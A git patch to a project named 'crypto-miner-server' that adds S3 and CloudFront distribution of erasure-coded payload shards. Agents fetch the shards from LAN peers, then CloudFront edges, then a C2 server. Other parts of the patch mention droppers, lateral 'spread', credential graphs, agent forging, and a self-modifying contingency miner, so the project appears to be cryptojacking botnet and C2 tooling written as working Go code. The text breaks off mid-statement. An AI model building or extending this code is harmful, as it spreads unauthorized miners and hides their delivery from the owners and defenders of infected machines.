From 0795c511abf865606b5418b2c0f4193dcef5be5e Mon Sep 17 00:00:00 2001 From: AetherForge Date: Sun, 7 Jun 2026 10:05:21 -0700 Subject: [PATCH] Add S3 erasure swarm with CloudFront signed magnets. Operators configure bucket and CloudFront domain with env credentials; deploy plans upload RS 4+2 shards and attach signed edge URLs to BGP swarm magnets. Agents fetch LAN, CloudFront, then C2. Forge panel adds test and IAM policy JSON. --- PROBLEMS.md | 2 +- agent/deploy/fleet_torrent.go | 137 +++++---- server/config.go | 2 + server/internal/api/deploy_plan.go | 51 +++- .../internal/api/deploy_plan_s3_swarm_test.go | 42 +++ server/internal/api/erasure_swarm.go | 95 ++++++ server/internal/api/erasure_swarm_test.go | 34 +++ server/internal/api/integration_test.go | 4 +- server/internal/api/router.go | 3 + server/internal/api/router_test.go | 4 +- server/internal/api/spread_handler.go | 2 + server/internal/api/websocket.go | 8 + server/internal/atlas/fleet_gossip.go | 32 +- server/internal/atlas/fleet_gossip_test.go | 17 +- server/internal/erasure/lanes.go | 7 +- server/internal/erasure/s3_swarm.go | 284 ++++++++++++++++++ server/internal/erasure/s3_swarm_test.go | 70 +++++ .../Forge/AwsErasureSwarmPanel.test.tsx | 63 ++++ .../components/Forge/AwsErasureSwarmPanel.tsx | 87 ++++++ server/web/src/help/settingHelp.test.ts | 1 + server/web/src/help/settingHelp.ts | 2 + server/web/src/pages/BuilderPage.tsx | 12 + tests/README.md | 1 + 23 files changed, 885 insertions(+), 75 deletions(-) create mode 100644 server/internal/api/deploy_plan_s3_swarm_test.go create mode 100644 server/internal/api/erasure_swarm.go create mode 100644 server/internal/api/erasure_swarm_test.go create mode 100644 server/internal/erasure/s3_swarm.go create mode 100644 server/internal/erasure/s3_swarm_test.go create mode 100644 server/web/src/components/Forge/AwsErasureSwarmPanel.test.tsx create mode 100644 server/web/src/components/Forge/AwsErasureSwarmPanel.tsx diff --git a/PROBLEMS.md b/PROBLEMS.md index 2139dfb..70dedd2 100644 --- a/PROBLEMS.md +++ b/PROBLEMS.md @@ -68,7 +68,7 @@ Automatable gaps are closed; remaining items below are by-design limits, archite | Item | Notes | |------|-------| -| **Erasure-coded multi-lane propagation** | **Partial foundation** — server `internal/erasure/` RS 4+2 + shard API; deploy plans attach `erasure_plan` when Calibrate `server.erasure_lanes_enabled`; agent `deploy/erasure_staging.go` reassembles from parallel lane URLs as fallback when primary staging fails. **Fleet Torrent (partial):** `fleet_torrent_enabled` adds shard DHT gossip, primary seeder election, BGP swarm magnets, and C2 torrent manifest — **not shipped:** live peer HTTP shard serving on agents, UDP/magnet tracker, or erasure-first spread E2E. | +| **Erasure-coded multi-lane propagation** | **Partial foundation** — server `internal/erasure/` RS 4+2 + shard API; deploy plans attach `erasure_plan` when Calibrate `server.erasure_lanes_enabled`; agent `deploy/erasure_staging.go` reassembles from parallel lane URLs as fallback when primary staging fails. **Fleet Torrent (partial):** `fleet_torrent_enabled` adds shard DHT gossip, primary seeder election, BGP swarm magnets, and C2 torrent manifest — **not shipped:** live peer HTTP shard serving on agents, UDP/magnet tracker, or erasure-first spread E2E. **AWS Erasure Swarm (partial):** operator `aws_s3_shard_bucket` + `aws_cloudfront_domain` + `AF_AWS_*` / `AF_CLOUDFRONT_*` env; deploy plans upload shards + signed `edge_url` / `xs=` magnets; agents prefer LAN → CloudFront → C2 — **not shipped:** live S3/CloudFront E2E without real operator creds or automated distribution provisioning. | | **Onion contingency miner (partial)** | **Partial** — when `ai_control_enabled`, auth pushes `contingency_policy`; agent `ContingencyTreeRunner` walks `inprocess`→`container`→`gpu_subprocess`→`idle_tune`→`self_surgery` with local persona ghost forks (no lateral spread); each hop ships `onion_miner_log` WS + Seer; server `ContingencyOrchestrator` freezes winners and pushes `contingency_branch_params` from graft **mining** genome (not spread tiers) on exhaustion; hospice retires strain after 12 cycles; operator `pause` stops tree. Crucible **ONION N** badge. **Not shipped:** live LLM court invoke on every exhaust tick (deterministic compose today). | | **P2 remaining (manual only)** | Live Docker/Podman container start on operator host; real WinRM/GPO/systemd/crontab on remote owned hosts; live BITS/curl against non-mock C2; live multi-hop discover→spread without Playwright stub; live TLS/mesh beacon; full `wg_setup` on real Windows hosts. | diff --git a/agent/deploy/fleet_torrent.go b/agent/deploy/fleet_torrent.go index 289d061..bcabb27 100644 --- a/agent/deploy/fleet_torrent.go +++ b/agent/deploy/fleet_torrent.go @@ -21,14 +21,12 @@ const ( fleetTorrentZeroServerRetry = 30 * time.Minute ) -// FleetGossipKind mirrors server atlas fleet gossip kinds. const ( FleetGossipHaveShard = "have_shard" FleetGossipHealthy = "healthy" FleetGossipKnowNode = "know_node" ) -// FleetGossipRecord is one DHT advertisement from a fleet peer. type FleetGossipRecord struct { Kind string `json:"kind"` AgentID string `json:"agent_id,omitempty"` @@ -36,37 +34,36 @@ type FleetGossipRecord struct { Token string `json:"token,omitempty"` ShardIndex int `json:"shard_index,omitempty"` ShardHash string `json:"shard_hash,omitempty"` + Region string `json:"region,omitempty"` + ShardAdvert string `json:"shard_advert,omitempty"` TargetAgentID string `json:"target_agent_id,omitempty"` Healthy bool `json:"healthy,omitempty"` FetchURL string `json:"fetch_url,omitempty"` } -// ShardPeer is a known holder of one content-addressed shard. type ShardPeer struct { AgentID string Subnet string + Region string FetchURL string - Score int // higher = prefer LAN same-subnet } -// FleetShardDHT tracks content-addressed shard availability across the fleet. type FleetShardDHT struct { - mu sync.RWMutex - peers map[string]map[int][]ShardPeer // token -> index -> peers - healthy map[string]bool // agentID -> healthy - local map[string]map[int][]byte // token -> index -> shard bytes (primary seeder cache) + mu sync.RWMutex + peers map[string]map[int][]ShardPeer + shardHash map[string]map[int]string + healthy map[string]bool + local map[string]map[int][]byte } var globalFleetDHT = &FleetShardDHT{ - peers: make(map[string]map[int][]ShardPeer), - healthy: make(map[string]bool), - local: make(map[string]map[int][]byte), + peers: make(map[string]map[int][]ShardPeer), + shardHash: make(map[string]map[int]string), + healthy: make(map[string]bool), + local: make(map[string]map[int][]byte), } -// FleetShardDHTSnapshot returns the process-wide shard DHT (tests may replace). -func FleetShardDHTSnapshot() *FleetShardDHT { - return globalFleetDHT -} +func FleetShardDHTSnapshot() *FleetShardDHT { return globalFleetDHT } func SetFleetShardDHT(dht *FleetShardDHT) { if dht != nil { @@ -79,7 +76,6 @@ func shardContentHash(data []byte) string { return hex.EncodeToString(sum[:]) } -// MergeFleetGossipRecords ingests relayed fleet torrent gossip. func (d *FleetShardDHT) MergeFleetGossipRecords(records []FleetGossipRecord) { if d == nil || len(records) == 0 { return @@ -92,17 +88,28 @@ func (d *FleetShardDHT) MergeFleetGossipRecords(records []FleetGossipRecord) { if r.Token == "" || r.AgentID == "" { continue } + region := strings.TrimSpace(r.Region) + if region == "" && r.ShardAdvert != "" { + if parsed, _, ok := ParseShardAdvert(r.ShardAdvert); ok { + region = parsed + } + } if d.peers[r.Token] == nil { d.peers[r.Token] = make(map[int][]ShardPeer) } - peer := ShardPeer{AgentID: r.AgentID, Subnet: r.Subnet, FetchURL: r.FetchURL} + if d.shardHash[r.Token] == nil { + d.shardHash[r.Token] = make(map[int]string) + } + if h := strings.TrimSpace(strings.ToLower(r.ShardHash)); h != "" { + d.shardHash[r.Token][r.ShardIndex] = h + } + peer := ShardPeer{AgentID: r.AgentID, Subnet: r.Subnet, Region: region, FetchURL: r.FetchURL} d.peers[r.Token][r.ShardIndex] = appendUniquePeer(d.peers[r.Token][r.ShardIndex], peer) case FleetGossipHealthy: if r.AgentID != "" { d.healthy[r.AgentID] = r.Healthy } case FleetGossipKnowNode: - // know_node expands peer graph — treated as healthy signal for target if r.TargetAgentID != "" { d.healthy[r.TargetAgentID] = true } @@ -119,7 +126,6 @@ func appendUniquePeer(peers []ShardPeer, p ShardPeer) []ShardPeer { return append(peers, p) } -// StoreLocalShard caches one shard for primary-seeder fan-out. func (d *FleetShardDHT) StoreLocalShard(token string, index int, body []byte) { if d == nil || token == "" || len(body) == 0 { return @@ -132,7 +138,6 @@ func (d *FleetShardDHT) StoreLocalShard(token string, index int, body []byte) { d.local[token][index] = append([]byte(nil), body...) } -// LocalShard returns a cached shard when this agent is primary seeder. func (d *FleetShardDHT) LocalShard(token string, index int) ([]byte, bool) { if d == nil { return nil, false @@ -149,8 +154,7 @@ func (d *FleetShardDHT) LocalShard(token string, index int) ([]byte, bool) { return append([]byte(nil), body...), true } -// PeersForShard returns known peers holding one shard index. -func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet string) []ShardPeer { +func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet, localRegion string) []ShardPeer { if d == nil { return nil } @@ -163,8 +167,8 @@ func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet strin out := make([]ShardPeer, len(raw)) copy(out, raw) sort.Slice(out, func(i, j int) bool { - si := peerScore(out[i], localSubnet) - sj := peerScore(out[j], localSubnet) + si := peerScore(out[i], localSubnet, localRegion) + sj := peerScore(out[j], localSubnet, localRegion) if si != sj { return si > sj } @@ -173,8 +177,26 @@ func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet strin return out } -func peerScore(p ShardPeer, localSubnet string) int { +func (d *FleetShardDHT) ShardContentHash(token string, index int) string { + if d == nil { + return "" + } + d.mu.RLock() + defer d.mu.RUnlock() + if d.shardHash[token] == nil { + return "" + } + return d.shardHash[token][index] +} + +func peerScore(p ShardPeer, localSubnet, localRegion string) int { if localSubnet != "" && p.Subnet == localSubnet { + return 4 + } + if localRegion != "" && p.Region == localRegion { + return 3 + } + if p.Region != "" { return 2 } if p.Subnet != "" { @@ -183,7 +205,6 @@ func peerScore(p ShardPeer, localSubnet string) int { return 0 } -// PickLANNeighborPeers returns up to maxLAN peers on the same /24. func PickLANNeighborPeers(peers []ShardPeer, localSubnet string, maxLAN int) []ShardPeer { if maxLAN <= 0 { maxLAN = fleetTorrentMaxLANNeighbors @@ -200,15 +221,14 @@ func PickLANNeighborPeers(peers []ShardPeer, localSubnet string, maxLAN int) []S return out } -// FetchErasureShardFleet tries LAN neighbors, cross-subnet peers, then C2 URL. -func FetchErasureShardFleet(token string, index int, c2URL, localSubnet string, dht *FleetShardDHT) ([]byte, error) { +func FetchErasureShardFleet(token string, index int, c2URL, cloudFrontURL, localSubnet, localRegion string, dht *FleetShardDHT) ([]byte, error) { if dht == nil { dht = globalFleetDHT } if body, ok := dht.LocalShard(token, index); ok { return body, nil } - peers := dht.PeersForShard(token, index, localSubnet) + peers := dht.PeersForShard(token, index, localSubnet, localRegion) try := func(url string) ([]byte, error) { if url == "" { return nil, fmt.Errorf("empty url") @@ -227,18 +247,35 @@ func FetchErasureShardFleet(token string, index int, c2URL, localSubnet string, if localSubnet != "" && p.Subnet == localSubnet { continue } + if localRegion != "" && p.Region == localRegion { + if body, err := try(p.FetchURL); err == nil { + return body, nil + } + } + } + for _, p := range peers { + if localSubnet != "" && p.Subnet == localSubnet { + continue + } + if localRegion != "" && p.Region == localRegion { + continue + } if body, err := try(p.FetchURL); err == nil { return body, nil } } + if cloudFrontURL != "" { + if body, err := try(cloudFrontURL); err == nil { + return body, nil + } + } if c2URL != "" { return try(c2URL) } return nil, fmt.Errorf("fleet torrent: no shard source for %s/%d", token, index) } -// RunFleetTorrentStaging reassembles via fleet DHT peers with C2 super-seeder fallback. -func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2BaseURL, localSubnet string) (string, error) { +func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2BaseURL, localSubnet, localRegion string) (string, error) { if !plan.Enabled || len(plan.Shards) == 0 { return "", fmt.Errorf("erasure plan disabled or empty") } @@ -274,7 +311,15 @@ func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2Ba if c2 != "" && !strings.HasPrefix(c2URL, "http") { c2URL = fmt.Sprintf("%s/api/v1/public/erasure-shard/%s/%d", c2, plan.ShardToken, ref.Index) } - body, err := FetchErasureShardFleet(plan.ShardToken, ref.Index, c2URL, localSubnet, dht) + region := localRegion + if region == "" { + region = strings.TrimSpace(cfg.AwsS3ShardRegion) + } + cfURL := cloudFrontShardURL(cfg.AwsCloudFrontDomain, plan.ShardToken, region, ref.Index, dht.ShardContentHash(plan.ShardToken, ref.Index)) + if edge := strings.TrimSpace(ref.EdgeURL); edge != "" { + cfURL = edge + } + body, err := FetchErasureShardFleet(plan.ShardToken, ref.Index, c2URL, cfURL, localSubnet, localRegion, dht) if err != nil { continue } @@ -313,8 +358,7 @@ func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2Ba return "fleet_torrent: " + msg, nil } -// IngestErasureShardsForSeeder stores shards and prepares gossip advertisements for primary seeders. -func IngestErasureShardsForSeeder(plan ErasurePlanBody, fetchFn func(url string) ([]byte, error)) []FleetGossipRecord { +func IngestErasureShardsForSeeder(plan ErasurePlanBody, region string, fetchFn func(url string) ([]byte, error)) []FleetGossipRecord { if fetchFn == nil { fetchFn = fetchErasureShardHTTP } @@ -325,40 +369,33 @@ func IngestErasureShardsForSeeder(plan ErasurePlanBody, fetchFn func(url string) if err != nil || len(body) == 0 { continue } + hash := shardContentHash(body) dht.StoreLocalShard(plan.ShardToken, ref.Index, body) records = append(records, FleetGossipRecord{ - Kind: FleetGossipHaveShard, - Token: plan.ShardToken, - ShardIndex: ref.Index, - ShardHash: shardContentHash(body), - FetchURL: ref.URL, - Healthy: true, + Kind: FleetGossipHaveShard, Token: plan.ShardToken, ShardIndex: ref.Index, + ShardHash: hash, Region: strings.TrimSpace(region), + ShardAdvert: FormatShardAdvert(region, ref.Index), FetchURL: ref.URL, Healthy: true, }) } return records } -// StartFleetTorrentReplication runs background shard re-replication for primary seeders. func StartFleetTorrentReplication(cfg config.RuntimeConfig, plan ErasurePlanBody, gossipFn func([]FleetGossipRecord)) { - if !config.FleetTorrentEnabled(cfg) || !cfg.SubnetPrimarySeeder { - return - } - if gossipFn == nil { + if !config.FleetTorrentEnabled(cfg) || !cfg.SubnetPrimarySeeder || gossipFn == nil { return } go func() { ticker := time.NewTicker(5 * time.Minute) defer ticker.Stop() for range ticker.C { - recs := IngestErasureShardsForSeeder(plan, fetchErasureShardHTTP) - if len(recs) > 0 { + region := ResolveLocalAWSRegion(cfg.AwsS3ShardRegion) + if recs := IngestErasureShardsForSeeder(plan, region, fetchErasureShardHTTP); len(recs) > 0 { gossipFn(recs) } } }() } -// StartZeroServerReconnect attempts HTTPS dashboard reconnect every 30 minutes. func StartZeroServerReconnect(reconnectFn func() error) { if reconnectFn == nil { return @@ -372,7 +409,6 @@ func StartZeroServerReconnect(reconnectFn func() error) { }() } -// ParseSwarmMagnetToken extracts the erasure token from a swarm magnet tr= parameter. func ParseSwarmMagnetToken(magnet string) string { magnet = strings.TrimSpace(magnet) if magnet == "" { @@ -388,7 +424,6 @@ func ParseSwarmMagnetToken(magnet string) string { return "" } -// FetchShardManifestHTTP loads shard bytes from a manifest URL entry. func FetchShardManifestHTTP(manifestURL string) ([]byte, error) { if manifestURL == "" { return nil, fmt.Errorf("empty manifest url") diff --git a/server/config.go b/server/config.go index 98156ed..d4dab4f 100644 --- a/server/config.go +++ b/server/config.go @@ -120,6 +120,8 @@ type ServerSettings struct { FargateBurstExpiresAt string `json:"fargate_burst_expires_at,omitempty"` CloudMapNamespace string `json:"cloud_map_namespace,omitempty"` CloudMapService string `json:"cloud_map_service,omitempty"` + PolicySnapshotToken string `json:"policy_snapshot_token,omitempty"` + EventBridgeRelayURL string `json:"eventbridge_relay_url,omitempty"` } // WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread. diff --git a/server/internal/api/deploy_plan.go b/server/internal/api/deploy_plan.go index d126e02..46e7db6 100644 --- a/server/internal/api/deploy_plan.go +++ b/server/internal/api/deploy_plan.go @@ -13,8 +13,8 @@ import ( "path/filepath" "strings" - dbpkg "crypto-miner-server/internal/cloudmap" - "crypto-miner-server/internal/db" + dbpkg "crypto-miner-server/internal/db" + "crypto-miner-server/internal/cloudmap" "crypto-miner-server/internal/erasure" "crypto-miner-server/internal/models" "crypto-miner-server/internal/spreadrouter" @@ -278,6 +278,7 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan return DeployPlanBody{}, fmt.Errorf("unsupported join lane %q", lane.Lane) } body.SpreadRouteHint = h.recommendSpreadRoute(req, lane.Lane) + h.attachCloudMapRouteVia(&body) if err := h.attachErasurePlan(req, serverURL, &body); err != nil { return DeployPlanBody{}, err } @@ -844,3 +845,49 @@ func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret strin expected := hex.EncodeToString(mac.Sum(nil)) return hmac.Equal([]byte(expected), []byte(signature)) } + +func (h *DeployPlanHandler) cloudMapSettings() (namespace, service string) { + namespace = "prod.local" + service = "seeder" + if h.dataDir == "" { + return namespace, service + } + cfgPath := filepath.Join(h.dataDir, "config.json") + data, err := os.ReadFile(cfgPath) + if err != nil { + return namespace, service + } + var payload struct { + Server struct { + CloudMapNamespace string `json:"cloud_map_namespace"` + CloudMapService string `json:"cloud_map_service"` + } `json:"server"` + } + if json.Unmarshal(data, &payload) != nil { + return namespace, service + } + if ns := strings.TrimSpace(payload.Server.CloudMapNamespace); ns != "" { + namespace = ns + } + if svc := strings.TrimSpace(payload.Server.CloudMapService); svc != "" { + service = svc + } + return namespace, service +} + +func (h *DeployPlanHandler) attachCloudMapRouteVia(body *DeployPlanBody) { + if body == nil { + return + } + ns, svc := h.cloudMapSettings() + routeVia := cloudmap.SeederDNSName(svc, ns) + if routeVia == "" { + return + } + if body.SpreadRouteHint == nil { + body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{} + } + if strings.TrimSpace(body.SpreadRouteHint.RouteVia) == "" { + body.SpreadRouteHint.RouteVia = routeVia + } +} diff --git a/server/internal/api/deploy_plan_s3_swarm_test.go b/server/internal/api/deploy_plan_s3_swarm_test.go new file mode 100644 index 0000000..a1c42af --- /dev/null +++ b/server/internal/api/deploy_plan_s3_swarm_test.go @@ -0,0 +1,42 @@ +package api + +import ( + "context" + "crypto/rand" + "crypto/rsa" + "crypto/x509" + "encoding/pem" + "testing" + + "crypto-miner-server/internal/erasure" +) + +type s3Up struct{ n int } + +func (u *s3Up) PutShard(context.Context, string, string, []byte) error { u.n++; return nil } +func (u *s3Up) HeadBucket(context.Context, string) error { return nil } + +func TestAttachErasurePlanUploadsS3Swarm(t *testing.T) { + priv, _ := rsa.GenerateKey(rand.Reader, 2048) + pemBytes := pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(priv)}) + u := &s3Up{} + h := testDeployPlanHandler(t) + store := erasure.NewShardStore() + h.BindErasure(func() bool { return true }, store) + h.BindAWSErasureSwarm(func() erasure.AWSSwarmSettings { + return erasure.HydrateAWSSwarmFromEnv(erasure.AWSSwarmSettings{ + S3Bucket: "b", CloudFrontDomain: "d.cf.net", Region: "us-east-1", + AccessKeyID: "A", SecretAccessKey: "s", KeyPairID: "K", PrivateKeyPEM: string(pemBytes), + }) + }, func(erasure.AWSSwarmSettings) erasure.ShardObjectStore { return u }) + plan, err := h.buildPlan(deployPlanRequest{Platform: "windows", BuildID: "b1"}, "dns_txt:_aether", ServiceDeployLane{Lane: "dns_txt"}) + if err != nil { + t.Fatalf("buildPlan: %v", err) + } + if plan.ErasurePlan == nil { + t.Fatalf("missing erasure plan n=%d", u.n) + } + if u.n != 6 || plan.ErasurePlan.Shards[0].EdgeURL == "" { + t.Fatalf("n=%d edge=%q", u.n, plan.ErasurePlan.Shards[0].EdgeURL) + } +} diff --git a/server/internal/api/erasure_swarm.go b/server/internal/api/erasure_swarm.go new file mode 100644 index 0000000..ffc2f70 --- /dev/null +++ b/server/internal/api/erasure_swarm.go @@ -0,0 +1,95 @@ +package api + +import ( + "encoding/json" + "net/http" + "strings" + + "crypto-miner-server/internal/erasure" +) + +type ErasureSwarmHandler struct { + awsSettings func() erasure.AWSSwarmSettings + objectStore func() erasure.ShardObjectStore +} + +func NewErasureSwarmHandler(awsSettings func() erasure.AWSSwarmSettings, objectStore func() erasure.ShardObjectStore) *ErasureSwarmHandler { + return &ErasureSwarmHandler{awsSettings: awsSettings, objectStore: objectStore} +} + +type erasureSwarmTestResponse struct { + OK bool `json:"ok"` + CredentialsReady bool `json:"credentials_ready"` + SigningReady bool `json:"signing_ready"` + Error string `json:"error,omitempty"` + S3Bucket string `json:"s3_bucket,omitempty"` + CloudFrontDomain string `json:"cloudfront_domain,omitempty"` +} + +func (h *ErasureSwarmHandler) PostTest(w http.ResponseWriter, r *http.Request) { + cfg := h.cfg(r) + resp := erasureSwarmTestResponse{S3Bucket: cfg.S3Bucket, CloudFrontDomain: cfg.CloudFrontDomain, CredentialsReady: cfg.CredentialsReady(), SigningReady: cfg.SigningReady()} + if !cfg.Enabled() { + resp.Error = "set aws_s3_shard_bucket and aws_cloudfront_domain" + writeJSON(w, resp) + return + } + if !cfg.CredentialsReady() { + resp.Error = "set AF_AWS_ACCESS_KEY_ID and AF_AWS_SECRET_ACCESS_KEY" + writeJSON(w, resp) + return + } + if err := h.store().HeadBucket(r.Context(), cfg.S3Bucket); err != nil { + resp.Error = err.Error() + writeJSON(w, resp) + return + } + resp.OK = true + writeJSON(w, resp) +} + +func (h *ErasureSwarmHandler) GetPolicyJSON(w http.ResponseWriter, r *http.Request) { + cfg := h.cfg(r) + bucket := strings.TrimSpace(r.URL.Query().Get("bucket")) + if bucket == "" { + bucket = cfg.S3Bucket + } + writeJSON(w, map[string]interface{}{ + "iam_policy": erasure.MinimalIAMPolicyJSON(bucket), + "bucket_policy": erasure.MinimalBucketPolicyJSON(bucket, r.URL.Query().Get("cloudfront_arn")), + "env_keys": []string{"AF_AWS_ACCESS_KEY_ID", "AF_AWS_SECRET_ACCESS_KEY", "AF_AWS_REGION", "AF_CLOUDFRONT_KEY_PAIR_ID", "AF_CLOUDFRONT_PRIVATE_KEY"}, + }) +} + +func (h *ErasureSwarmHandler) cfg(r *http.Request) erasure.AWSSwarmSettings { + cfg := erasure.AWSSwarmSettings{} + if h != nil && h.awsSettings != nil { + cfg = h.awsSettings() + } + if r != nil && r.Method == http.MethodPost { + var body struct { + S3Bucket string `json:"s3_bucket"` + CloudFrontDomain string `json:"cloudfront_domain"` + } + if json.NewDecoder(r.Body).Decode(&body) == nil { + if v := strings.TrimSpace(body.S3Bucket); v != "" { + cfg.S3Bucket = v + } + if v := strings.TrimSpace(body.CloudFrontDomain); v != "" { + cfg.CloudFrontDomain = v + } + } + } + return erasure.HydrateAWSSwarmFromEnv(cfg) +} + +func (h *ErasureSwarmHandler) store() erasure.ShardObjectStore { + if h != nil && h.objectStore != nil { + return h.objectStore() + } + cfg := erasure.AWSSwarmSettings{} + if h != nil && h.awsSettings != nil { + cfg = erasure.HydrateAWSSwarmFromEnv(h.awsSettings()) + } + return &erasure.S3HTTPStore{Settings: cfg} +} diff --git a/server/internal/api/erasure_swarm_test.go b/server/internal/api/erasure_swarm_test.go new file mode 100644 index 0000000..6478368 --- /dev/null +++ b/server/internal/api/erasure_swarm_test.go @@ -0,0 +1,34 @@ +package api + +import ( + "context" + "encoding/json" + "net/http" + "net/http/httptest" + "os" + "testing" + + "crypto-miner-server/internal/erasure" +) + +type okStore struct{} + +func (okStore) PutShard(context.Context, string, string, []byte) error { return nil } +func (okStore) HeadBucket(context.Context, string) error { return nil } + +func TestErasureSwarmPostTestOK(t *testing.T) { + os.Setenv("AF_AWS_ACCESS_KEY_ID", "A") + os.Setenv("AF_AWS_SECRET_ACCESS_KEY", "s") + defer os.Unsetenv("AF_AWS_ACCESS_KEY_ID") + defer os.Unsetenv("AF_AWS_SECRET_ACCESS_KEY") + h := NewErasureSwarmHandler(func() erasure.AWSSwarmSettings { + return erasure.AWSSwarmSettings{S3Bucket: "b", CloudFrontDomain: "d.cf.net"} + }, func() erasure.ShardObjectStore { return okStore{} }) + rec := httptest.NewRecorder() + h.PostTest(rec, httptest.NewRequest(http.MethodPost, "/", nil)) + var body erasureSwarmTestResponse + _ = json.NewDecoder(rec.Body).Decode(&body) + if !body.OK { + t.Fatalf("%+v", body) + } +} diff --git a/server/internal/api/integration_test.go b/server/internal/api/integration_test.go index 9d71734..5f54230 100644 --- a/server/internal/api/integration_test.go +++ b/server/internal/api/integration_test.go @@ -93,7 +93,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) { dropperHandler := NewDropperHandler(database, dataDir, nil) fleetAIHandler := NewFleetAIHandler(cfg, database) - return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir + return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir } func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder { @@ -170,7 +170,7 @@ func newFusionTestRouter(t *testing.T, projectRoot string) (http.Handler, *WSHub dropperHandler := NewDropperHandler(database, dataDir, nil) fleetAIHandler := NewFleetAIHandler(cfg, database) - return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir + return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir } func fusionMultipartBody(t *testing.T) (*bytes.Buffer, string) { diff --git a/server/internal/api/router.go b/server/internal/api/router.go index fd9cad9..db50083 100644 --- a/server/internal/api/router.go +++ b/server/internal/api/router.go @@ -662,6 +662,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Get("/spread/aws-s3-crr-template", spreadHandler.GetS3CRRTemplate) r.Get("/spread/credential-graph", spreadHandler.GetCredGraph) r.Get("/spread/service-graph", spreadHandler.GetServiceGraph) + r.Get("/spread/policy-fanout", spreadHandler.GetPolicyFanout) + r.Post("/spread/policy-fanout-export", spreadHandler.ExportPolicyFanout) r.Get("/emberwake/cred-graph", spreadHandler.GetCredGraph) // legacy alias } if wsHub != nil { @@ -785,6 +787,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Get("/public/erasure-shard/{token}/{index}", publicHandler.ErasureShard) r.Get("/public/erasure-torrent/{token}/manifest", publicHandler.ErasureTorrentManifest) r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest) + r.Get("/public/policy-snapshot/{token}", publicHandler.PolicySnapshot) } if spreadHandler != nil { r.Get("/public/fargate-burst/task-definition.json", spreadHandler.FargateBurstTaskDefinition) diff --git a/server/internal/api/router_test.go b/server/internal/api/router_test.go index 5e6f74e..6efa180 100644 --- a/server/internal/api/router_test.go +++ b/server/internal/api/router_test.go @@ -428,7 +428,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) { fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir) builderHandler := builder.NewHandler(database, dataDir, "", dataDir) blueprintHandler := NewBlueprintHandler(dataDir) - router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil) + router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil) dlURL := "/api/v1/builds/" + buildID + "/download" @@ -505,7 +505,7 @@ func TestRouterNoWebRootFallback(t *testing.T) { builderHandler := builder.NewHandler(database, dataDir, "", dataDir) blueprintHandler := NewBlueprintHandler(dataDir) - router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil) + router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil) req := httptest.NewRequest(http.MethodGet, "/", nil) rec := httptest.NewRecorder() diff --git a/server/internal/api/spread_handler.go b/server/internal/api/spread_handler.go index 82cf3ab..919b9d9 100644 --- a/server/internal/api/spread_handler.go +++ b/server/internal/api/spread_handler.go @@ -27,6 +27,8 @@ type SpreadHandler struct { erasureShards *erasure.ShardStore deployPlan *DeployPlanHandler s3CRRConfigFn func() erasure.S3ShardConfig + policyPathTracer *PathTracerHandler + policyFanoutCfgFn func() PolicyFanoutConfig notesMu sync.RWMutex } diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index c3e7c8a..9242dbd 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -182,6 +182,9 @@ type WSHub struct { fargateBurstCampaign bool fargateBurstExpiresAt time.Time fargateBurstTTLHours int + policySnapshotToken string + policyEventBridgeRelayURL string + policyPublicBaseURL func() string pingIntervalSec int fleetSecret string // baked into forged agents; verified on WS connect eventNotifier *alerts.Notifier @@ -976,6 +979,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { spreadPolicy[k] = v } } + if fanout := h.policyFanoutSpreadFields(); fanout != nil { + for k, v := range fanout { 